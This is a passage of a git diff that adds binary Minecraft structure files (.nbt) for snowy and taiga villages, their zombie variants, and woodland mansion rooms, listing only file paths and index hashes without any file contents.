b/src/data/minecraft/structures/village/snowy/zombie/streets/straight_08.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/streets/turn_01.nbt b/src/data/minecraft/structures/village/snowy/zombie/streets/turn_01.nbt new file mode 100644 index 00000000..69d399ab Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_1.nbt b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_1.nbt new file mode 100644 index 00000000..5ff2a0bd Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_2.nbt b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_2.nbt new file mode 100644 index 00000000..57f14047 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_3.nbt b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_3.nbt new file mode 100644 index 00000000..8612af61 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/town_centers/snowy_meeting_point_3.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/villagers/nitwit.nbt b/src/data/minecraft/structures/village/snowy/zombie/villagers/nitwit.nbt new file mode 100644 index 00000000..87f56faf Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/snowy/zombie/villagers/unemployed.nbt b/src/data/minecraft/structures/village/snowy/zombie/villagers/unemployed.nbt new file mode 100644 index 00000000..22daae14 Binary files /dev/null and b/src/data/minecraft/structures/village/snowy/zombie/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_animal_pen_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_animal_pen_1.nbt new file mode 100644 index 00000000..98369a32 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_animal_pen_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_2.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_2.nbt new file mode 100644 index 00000000..95fac724 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_house_1.nbt new file mode 100644 index 00000000..7b8ea738 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_armorer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_butcher_shop_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_butcher_shop_1.nbt new file mode 100644 index 00000000..12149ea5 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_butcher_shop_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_cartographer_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_cartographer_house_1.nbt new file mode 100644 index 00000000..71f5e9b1 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_cartographer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_fisher_cottage_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_fisher_cottage_1.nbt new file mode 100644 index 00000000..b99bb014 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_fisher_cottage_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_fletcher_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_fletcher_house_1.nbt new file mode 100644 index 00000000..74cc5950 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_fletcher_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_1.nbt new file mode 100644 index 00000000..62c41436 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_2.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_2.nbt new file mode 100644 index 00000000..0e7184b7 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_large_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_library_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_library_1.nbt new file mode 100644 index 00000000..5388c14e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_masons_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_masons_house_1.nbt new file mode 100644 index 00000000..59d28b29 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_masons_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_1.nbt new file mode 100644 index 00000000..b2f2c421 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_2.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_2.nbt new file mode 100644 index 00000000..fe83f623 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_3.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_3.nbt new file mode 100644 index 00000000..c3d0061a Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_4.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_4.nbt new file mode 100644 index 00000000..429127f6 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_medium_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_shepherds_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_shepherds_house_1.nbt new file mode 100644 index 00000000..836d8aa3 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_shepherds_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_farm_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_farm_1.nbt new file mode 100644 index 00000000..6b09e709 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_farm_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_1.nbt new file mode 100644 index 00000000..dd45233a Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_2.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_2.nbt new file mode 100644 index 00000000..d1e21a9c Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_3.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_3.nbt new file mode 100644 index 00000000..61a4337b Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_4.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_4.nbt new file mode 100644 index 00000000..7d4e4a53 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_5.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_5.nbt new file mode 100644 index 00000000..932b1451 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_tannery_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_tannery_1.nbt new file mode 100644 index 00000000..6dfb6fbf Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_tannery_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_temple_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_temple_1.nbt new file mode 100644 index 00000000..0f652566 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_temple_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_tool_smith_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_tool_smith_1.nbt new file mode 100644 index 00000000..43bbce37 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_1.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_1.nbt new file mode 100644 index 00000000..78c0a9ea Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_2.nbt b/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_2.nbt new file mode 100644 index 00000000..32f93fab Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/houses/taiga_weaponsmith_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/corner_01.nbt b/src/data/minecraft/structures/village/taiga/streets/corner_01.nbt new file mode 100644 index 00000000..32d09de8 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/corner_02.nbt b/src/data/minecraft/structures/village/taiga/streets/corner_02.nbt new file mode 100644 index 00000000..f807a34f Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/corner_03.nbt b/src/data/minecraft/structures/village/taiga/streets/corner_03.nbt new file mode 100644 index 00000000..5d1cef2a Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_01.nbt new file mode 100644 index 00000000..2036e33e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_02.nbt new file mode 100644 index 00000000..1a07ecd1 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_03.nbt new file mode 100644 index 00000000..84dbf137 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_04.nbt new file mode 100644 index 00000000..73b82f8b Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_05.nbt new file mode 100644 index 00000000..6f08b9a0 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/taiga/streets/crossroad_06.nbt new file mode 100644 index 00000000..f454a9e8 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_01.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_01.nbt new file mode 100644 index 00000000..aadc1f31 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_02.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_02.nbt new file mode 100644 index 00000000..dae2b668 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_03.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_03.nbt new file mode 100644 index 00000000..5816c27b Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_04.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_04.nbt new file mode 100644 index 00000000..97adf283 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_05.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_05.nbt new file mode 100644 index 00000000..1162d94e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/straight_06.nbt b/src/data/minecraft/structures/village/taiga/streets/straight_06.nbt new file mode 100644 index 00000000..ed7e8de1 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/streets/turn_01.nbt b/src/data/minecraft/structures/village/taiga/streets/turn_01.nbt new file mode 100644 index 00000000..df1db790 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_1.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_1.nbt new file mode 100644 index 00000000..67082a7e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_2.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_2.nbt new file mode 100644 index 00000000..1cdd96ba Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_3.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_3.nbt new file mode 100644 index 00000000..6d6696b7 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_3.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_4.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_4.nbt new file mode 100644 index 00000000..43245e52 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_4.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_5.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_5.nbt new file mode 100644 index 00000000..214e9eba Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_5.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_decoration_6.nbt b/src/data/minecraft/structures/village/taiga/taiga_decoration_6.nbt new file mode 100644 index 00000000..7b3d2109 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_decoration_6.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/taiga_lamp_post_1.nbt b/src/data/minecraft/structures/village/taiga/taiga_lamp_post_1.nbt new file mode 100644 index 00000000..55aa6644 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/taiga_lamp_post_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_1.nbt b/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_1.nbt new file mode 100644 index 00000000..d043e23c Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_2.nbt b/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_2.nbt new file mode 100644 index 00000000..7839332e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/town_centers/taiga_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/villagers/baby.nbt b/src/data/minecraft/structures/village/taiga/villagers/baby.nbt new file mode 100644 index 00000000..1d010749 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/villagers/baby.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/villagers/nitwit.nbt b/src/data/minecraft/structures/village/taiga/villagers/nitwit.nbt new file mode 100644 index 00000000..c3f967cf Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/villagers/unemployed.nbt b/src/data/minecraft/structures/village/taiga/villagers/unemployed.nbt new file mode 100644 index 00000000..9c311cee Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_cartographer_house_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_cartographer_house_1.nbt new file mode 100644 index 00000000..2ee064ed Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_cartographer_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_fisher_cottage_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_fisher_cottage_1.nbt new file mode 100644 index 00000000..0e1635bc Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_fisher_cottage_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_large_farm_2.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_large_farm_2.nbt new file mode 100644 index 00000000..fbf35ede Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_large_farm_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_library_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_library_1.nbt new file mode 100644 index 00000000..e211e308 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_library_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_1.nbt new file mode 100644 index 00000000..24e2c6f4 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_2.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_2.nbt new file mode 100644 index 00000000..63252b3b Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_3.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_3.nbt new file mode 100644 index 00000000..0f41a1ed Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_4.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_4.nbt new file mode 100644 index 00000000..76b4aca4 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_medium_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_shepherds_house_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_shepherds_house_1.nbt new file mode 100644 index 00000000..32f4e0d7 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_shepherds_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_1.nbt new file mode 100644 index 00000000..5d0e3731 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_2.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_2.nbt new file mode 100644 index 00000000..aa859f20 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_3.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_3.nbt new file mode 100644 index 00000000..dfd85780 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_3.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_4.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_4.nbt new file mode 100644 index 00000000..ea6105fd Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_4.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_5.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_5.nbt new file mode 100644 index 00000000..fe015751 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_small_house_5.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_temple_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_temple_1.nbt new file mode 100644 index 00000000..0f652566 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_temple_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_tool_smith_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_tool_smith_1.nbt new file mode 100644 index 00000000..cacd4a29 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_tool_smith_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_weaponsmith_2.nbt b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_weaponsmith_2.nbt new file mode 100644 index 00000000..82113bf9 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/houses/taiga_weaponsmith_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/corner_01.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_01.nbt new file mode 100644 index 00000000..22eb6a8d Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/corner_02.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_02.nbt new file mode 100644 index 00000000..baf891f9 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/corner_03.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_03.nbt new file mode 100644 index 00000000..3e2f0c76 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/corner_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_01.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_01.nbt new file mode 100644 index 00000000..c36572de Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_02.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_02.nbt new file mode 100644 index 00000000..49b36821 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_03.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_03.nbt new file mode 100644 index 00000000..1a0064d6 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_04.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_04.nbt new file mode 100644 index 00000000..93352606 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_04.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_05.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_05.nbt new file mode 100644 index 00000000..bdc9b9b0 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_05.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_06.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_06.nbt new file mode 100644 index 00000000..3f29886a Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/crossroad_06.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_01.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_01.nbt new file mode 100644 index 00000000..bbd6e9c8 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_02.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_02.nbt new file mode 100644 index 00000000..1f6a347f Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_02.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_03.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_03.nbt new file mode 100644 index 00000000..6e94469f Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_03.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_04.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_04.nbt new file mode 100644 index 00000000..fe5ae6fe Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_04.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_05.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_05.nbt new file mode 100644 index 00000000..bdf5f54e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_05.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/straight_06.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_06.nbt new file mode 100644 index 00000000..589131e9 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/straight_06.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/streets/turn_01.nbt b/src/data/minecraft/structures/village/taiga/zombie/streets/turn_01.nbt new file mode 100644 index 00000000..d3bde02e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/streets/turn_01.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_1.nbt b/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_1.nbt new file mode 100644 index 00000000..8d190575 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_1.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_2.nbt b/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_2.nbt new file mode 100644 index 00000000..46f82fb4 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/town_centers/taiga_meeting_point_2.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/villagers/nitwit.nbt b/src/data/minecraft/structures/village/taiga/zombie/villagers/nitwit.nbt new file mode 100644 index 00000000..d6f9794e Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/villagers/nitwit.nbt differ diff --git a/src/data/minecraft/structures/village/taiga/zombie/villagers/unemployed.nbt b/src/data/minecraft/structures/village/taiga/zombie/villagers/unemployed.nbt new file mode 100644 index 00000000..8f602bf7 Binary files /dev/null and b/src/data/minecraft/structures/village/taiga/zombie/villagers/unemployed.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_a1.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_a1.nbt new file mode 100644 index 00000000..f38e3b02 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_a1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_a2.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_a2.nbt new file mode 100644 index 00000000..97bd5214 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_a2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_a3.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_a3.nbt new file mode 100644 index 00000000..b1a1cc2b Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_a3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_a4.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_a4.nbt new file mode 100644 index 00000000..7ee44dfa Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_a4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_a5.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_a5.nbt new file mode 100644 index 00000000..4f582cdf Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_a5.nbt 